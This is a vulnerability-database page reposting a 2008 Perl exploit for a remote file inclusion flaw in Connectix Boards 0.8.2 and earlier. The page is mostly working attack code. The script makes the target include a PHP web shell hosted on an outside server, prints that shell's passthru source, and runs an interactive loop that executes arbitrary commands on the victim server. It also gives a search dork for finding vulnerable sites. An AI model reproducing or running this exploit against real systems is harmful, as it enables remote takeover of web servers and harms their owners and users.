Lucene search
K

Connectix Boards <= 0.8.2 template_path Remote File Inclusion Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Connectix Boards <= 0.8.2 Remote File Inclusion Exploi

Code

                                                #!/usr/bin/perl
#
# Author : HouSSaMix From H-T Team
# Script : Connectix Boards (  Tested in last version 0.8.2 & 0.8.1 ) 
# Bug : Remote File Inclusion
# Vulnerable Code : &#60;?php include ($template_path.&#39;menu_links.php&#39;); ?&#62;
# Dork : powered by connectix boards
# Risk : High 
# Download : http://www.connectix-boards.org/
# Exploit: http://Target.il/[path]/templates/Official/part_userprofile.php?template_path=[Shell]

use LWP::Simple;

print &#34;-------------------------[ H-T Team ]--------------------------\n&#34;;
print &#34;-                                                             -\n&#34;;
print &#34;-         Connectix Boards &#60;=0.8.2  - Remote File Inclusion   -\n&#34;;
print &#34;-                                                             -\n&#34;;
print &#34;---------------------------------------------------------------\n&#34;;
print &#34;-       H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo        -\n&#34;;
print &#34;-       Bug found and Coded By HouSSaMix & ToXiC350           -\n&#34;;
print &#34;---------------------------------------------------------------\n\n&#34;;

my $morocco,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);

$path = $path.&#34;/templates/Official/part_mps.php&#34;;


sub usage(){
       print &#34;=&#62; Usage: perl $0 Target/path http://site.com/cmd.txt\n&#34;;
       print &#34;=&#62; Ex   : perl $0 http://site.com/forum http://site.com/cmd.txt\n&#34;;
	   print &#34;Code of file cmd.txt : \n&#34;;
       print &#39;&#60;?php ob_clean();ini_set(&#34;max_execution_time&#34;,0);passthru($_GET[&#34;cmd&#34;]);die;?&#62;&#39;;
	   print &#34;   \n&#34;;
          }

while ()
{
print &#34;Enter your command :~\$ &#34;;
chomp($cmd=&#60;STDIN&#62;);
if ($cmd eq &#34;exit&#34;) { exit(0);}

$morocco = $path.&#34;?template_path=&#34;.$shell.&#34;?&cmd=&#34;.$cmd;
if ($cmd eq &#34;&#34;)
 { print &#34;Enter your command !\n&#34;; }
else
 { $data=get($morocco); print $data ; }
}

# milw0rm.com [2008-01-30]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation